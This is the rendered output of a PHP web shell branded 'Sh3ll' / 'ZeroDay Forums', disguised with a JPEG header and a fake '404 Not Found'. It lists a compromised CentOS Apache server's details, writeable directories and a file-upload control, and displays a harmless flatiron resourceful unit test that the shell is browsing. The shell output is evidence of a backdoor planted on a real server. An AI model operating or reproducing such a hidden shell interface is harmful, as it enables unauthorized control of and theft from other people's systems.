����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /lib/node_modules/forever/node_modules/flatiron/test/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/node_modules/forever/node_modules/flatiron/test/plugins/resourceful-test.js
/*
 * resourceful-test.js: Tests for flatiron app(s) using the resourceful plugin
 *
 * (C) 2011, Nodejitsu Inc.
 * MIT LICENSE
 *
 */

var assert = require('assert'),
    resourceful = require('resourceful'),
    vows = require('vows');

var app = require('../../examples/resourceful-app/app');
app.config.set('database', { uri: 'http://localhost:5984/test' });

vows.describe('flatiron/plugins/resourceful').addBatch({
  "A flatiron app using `flatiron.plugins.resourceful": {
    topic: app,
    "should extend the app correctly": function (app) {
      assert.isObject(app.resources);
      assert.isFunction(app.resources.Creature);
      assert.isFunction(app.define);
    },
    "when initialized": {
      topic: function () {
        app.init(this.callback);
      },
      "it should use the correct engine": function () {
        assert.equal(app.resources.Creature.engine, resourceful.engines.Memory);
      },
      "it should load the database config option": function () {
        var resourceful = app.config.get('resourceful');
        var database = app.config.get('database');
        assert.equal(resourceful.uri, database.uri);
      }
    },
  }
}).export(module);

ZeroDay Forums Mini